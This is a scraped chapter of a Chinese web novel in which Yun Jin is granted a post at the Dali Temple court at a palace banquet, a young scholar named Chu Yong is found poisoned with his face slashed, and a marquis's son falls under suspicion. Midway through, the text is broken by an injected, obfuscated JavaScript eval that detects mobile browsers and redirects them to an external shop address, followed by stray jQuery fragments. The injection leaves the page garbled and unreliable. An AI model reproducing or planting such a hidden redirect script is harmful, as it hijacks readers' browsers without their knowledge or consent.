这场小小的骚乱并没有持续下去,因为很快圣上便驾临此地了,众人都前去迎接,而后便正式开宴。
开宴后,云今坐回了云岳和穆令容身旁,心情并未因刚才的风波而低落,反而大快朵颐起来。不愧是皇家宴席,山珍海味应有尽有,云今吃得不亦乐乎。
穆令容咬着牙低声道:“文雅些。有人在看你。”
云今停住嘴抬起头。
不远处的窦允坐在成阳郡主身旁,迎着的目光,正笑嘻嘻地朝她挤眉弄眼。
被赵元嘉瞧见了,恶狠狠地翻了个白眼。
宴中,圣上忽然开口:“云今可在啊?”
云今正啃鹅腿,闻言倏地放下,胡乱抹了一下嘴角油渍,跪下道:“回陛下,臣女在这儿。”
圣上不语,先是打量她一番,而后笑着开口:“不愧是云岳的女儿,果真气度非凡。你父亲在边关立下赫赫战功,守卫家国安宁;你呢,一入京便行侠仗义,美名远扬,都传到了朕的耳朵里。你们一家回京不易,此次宴会,一来,是教你同京中同辈的儿女们认识一番;二来,便是朕想要褒奖你,你只管开口,只要在朕力所能及的范围内,都可以商量。”
云今俯身:“臣女不敢,是臣女行事冒失,险些引起祸事,怎敢让您论功行赏,您不责罚,已然是体恤父亲。”
圣上大笑:“你既抓了贼,又及时处理了动乱,何错之有?进士游街与女侠捉贼,一文一武,岂不是佳话?窦允,听闻你也在场,你说如何?”
窦允施施然起身:“回陛下,侄儿确实在场,云姑娘寻回的,也正是侄子的钱袋,里面还有陛下赏赐的宝物,险些便被侄儿弄丢,幸得云姑娘相助,因此侄儿认为这是大功一件,应赏。”
“你素来油腔滑调,行事乖张,今日还算公允。云丫头,你开口罢,无论是什么珍奇宝物,还是要朕赐婚,都无不可。”
窦允闭嘴坐下了。
看向一旁的云岳,他轻轻点了点头,于是云今叩了一个头:“那陛下,臣女有个不情之请,在庭州时,我久随名师练武,学有所成后却无处施展,因此,臣女想求陛下给臣女一个差使,让臣女为大胤效力!”
她的话铿锵有力,一时间镇住了不少人,包括圣上在内都鸦雀无声。
不少人心中揣测:云将军的女儿,想要差使?那便不是摆明了要个官当当?难道是云岳有心培养接班人?
“哦?”圣上手叩击着桌面,“你想要什么差事?”
云今眼睛亮晶晶的:“不拘什么差使,譬如能捉小贼、查案子,臣女都可以做。”
底下众人又沉默了:云将军的女儿志向不高啊……不过亦可能是缓兵之计,不可大意。
沉吟片刻,圣上微微一笑:“大理寺处不是还缺一个司正?你可愿往?”
“愿——”
圣上抬手打断了她:“等朕说完,第一,朕不给你下发正式官印,因此这不是正差,若你三天打鱼,朕便即可收回你的职位;第二,只给你三成俸禄。当然,你若是表现得好,朕知道了,便考虑给你正差,如何?”
“臣女愿意!”云今又激动地叩了一个头,陛下肯让她当差,此事已出乎意料,至于不给正差,她虽单纯,但也明白这可能给爹爹招来非议。再者,正差与否,她才不在意!
“好,那凭朕口谕,即日起你便可前往赴任。”
话音落下,包括云今在内的不少人都松了一口气:云岳朝穆令容一笑,后者松开了死死握着的帕子;窦允格外轻松地摇起了扇子,被身旁成阳郡主轻斥一声“摇什么摇,冻死了”也不甚在意;赵元嘉也轻舒一口气,目光复杂地看了云今一眼,这蠢丫头,也不知道要个爵位或赐婚,再不济要个宝贝,要那个破差使做什么。
不过也好,她将目光悄悄移向了远处那道身影。
那是此次殿试的榜眼,楚镛。虽不如状元裴行简端正大方,赵元嘉觉得他太无趣;也不如探花闻琅姿容俊美,赵元嘉看不上他那貌若好女的模样。她觉得自己独具慧眼,平心而论,楚镛也是极好的,他似乎有些羞涩、腼腆,在与她对视时总是匆促地移开视线,因此显得格外有趣。
宴会便在众人各怀心事中度过。
宴毕,圣上便提前离开了,不少长辈也趁机告辞,而后园中剩下的几乎都是年轻小辈。
云今在园中赏了会儿花,不多时,窦允便移至她身旁:“今日请来的可是玉笙。”
“哦。”
云今的反应颇为平淡,自知道了玉笙是男子,她便对此有些兴趣缺缺。倒是窦允如此兴奋,让她再度浮想联翩起来,不由细细打量起窦允来。
像,也不像。
又对上她奇怪的眼色,窦允正欲开口,忽有小厮急慌慌地赶过来,附在他耳边,不知说了些什么,听罢,窦允脸色登时大变,“蹭”得一下站了起来:“什么!”
那小厮苦着脸,一副要死不活的样子,似乎在等窦允拿定主意。
窦允扇子也不摇了,面色也沉了下来,过了片刻,他才开口:“叫人把园子看住,任何人都不能放出去,再派人去报官。”
“是!”
“报官?”云今皱了皱眉,“出了什么事?”
“楚镛死了。”窦允的声音很低,低到只有二人能听见,那掀起的一阵微风扑到云今耳朵上,登时让她毛骨悚然起来。
楚镛死了?
一个好好的大活人,方才还在宴上饮酒,行动自如,怎会突然死了?还死在此地?
窦允盯着云今的脸,看她讶然,睫毛如蝴蝶振翅般颤动,料想是她害怕,纵使自己面色苍白,也忍不住要出口安抚:“别——”
一个怕字还未出口,云今已经开口打断了他:“带我去看看尸体。”
窦允真是怕了她了:“你去瞧什么尸体?你不怕么?便在此地待着罢,待官府来人自会处置,今日也是倒霉,竟然在这出了人命案子,传出去我这园子要废了。”
云今不爱听这话,但此刻也不愿开口驳斥,只眨了眨眼:“你忘了么,如今我也在大理寺任职了?”
纠结片刻,窦允还是唤来了小厮,引着云今往后院走。
不远处的赵元嘉瞧见了,咬着唇,犹豫片刻,趁人不备踮着脚跟了上去,她倒要看看这两个人背着众人去做什么偷鸡摸狗的好事。
**
无可否认,楚镛死得极惨,饶是见过不少死人的云今也如是承认。
他横躺在桌旁,面上被人胡乱划了数刀,此刻血迹已然干涸,凝固在他脸上,显得尤为可怖;同时,他的唇色呈现出怪异的青黑色,看上去便死得极为蹊跷。
“这楚镛,”云今并未接触尸体,只站定观看一番:“死状极为异常。你瞧他嘴上的乌黑之色,一看便是中毒颇深呐。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341293|199340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
一旁的窦允嘴角抽搐,只草草扫了一眼,便偏过头去,不忍再看。
“我且问你,你是什么时候发现他死在此地的?”她抬起头,看向窦允身旁的小厮。
“大约、大约一刻之间,”那小厮略微思索片刻:“这屋子在后院,按理说宾客们不该到这儿来,但不知为何,楚公子的侍从遍寻楚公子不到,便喊了园子里的人帮他找找,结果发现楚公子不知何时倒在了这儿,再探鼻息,已是没气了……”
云今点点头,脑中闪过种种猜测,譬如他是如何在如此之短的时间内被人毒害的?为何又被人划花了脸?
身后忽然出现一阵一响,几人回过头去,看见的便是赵元嘉怔在原地,难以置信地注视着眼前颇为惊悚的画面:“他、他…你、你们,啊——死人了!”
“闭嘴!”窦允被她吵得脑仁发疼:“谁让你来这里的?”
“那是谁?!”赵元嘉此刻已近崩溃:“你告诉我那是谁?”
“是楚镛。”云今开口:“你还好吧?”
她瞧着此时赵元嘉面色如纸,已是摇摇欲坠,哪知听了她的话,赵元嘉竟眼睛一闭,骤然昏死过去。
“还不散开!”此时,大理寺派来的人马已至。瞧着眼前两人横躺、几人围观的混乱场景,杜名不由皱眉:“这是怎么回事?到底死了几个人?”
“禀大人,死的只有一人,名叫楚镛。”云今开口,“这位小姐应当是惊吓过度晕了过去,还需尽快找医师前来救治。”
窦允唤来侍女,连抱带扶地将昏倒的赵元嘉挪至别院。
瞥一眼二人,杜名开口:“将情况如实道来。”
于是云今便不疾不徐地将见闻缓缓道来,间或向身旁小厮求证,辅之以个人推断:“……我大胆推测,楚镛应是中毒而死,此案或许可以从排查与之有私仇之人入手。”
“哦?为何?”
“因为既是用毒杀人,断无必要再在其面上乱划几刀,但凶手却冒着风险做了,想是怀有某种报复或泄愤心理。”
杜名无可无不可地点点头,转而挥手命身后手下开始勘验现场,云今和窦允几人也被他请了出去。
园子里自是人心惶惶,但好歹有兵马看守,在问明情况之前,任何人都只能暂且待在此地。
窦允自然想走,他爱看热闹,可却对这种人命案没什么兴趣,若非事情发生在自己园子,他早拍拍屁股一走了之。
“你说谁这么大胆,敢在我这儿害人?”他不解,这不是有意把事情闹大么?
云今摇摇头:“不好说,不过行凶者大概不是临时起意,楚镛可与什么人有仇?”
窦允刚想开口,便瞧见杜名带着人走了过来。
“小侯爷,随我们走一遭吧?”
“我?”窦允仿佛听见什么好笑的事:“我为何要与你们走?”
“在楚镛尸体上发现了你的东西,况且,命案就发生在你的园子里,待我们审问清楚,你若是无罪,自会放你回来。”
杜名偏偏头,他身后的手下上前,摊开手,一枚被收起来的玉珠赫然在其手心。
“你看,这是不是你的?”
窦允眯眼看清楚了,张口便火力十足:“这挨千刀的乌龟王八,何时偷了我的东西?”
杜名再度开口说了句什么。抱臂旁观的云今闻言,也不由得挑了挑眉,还有这事?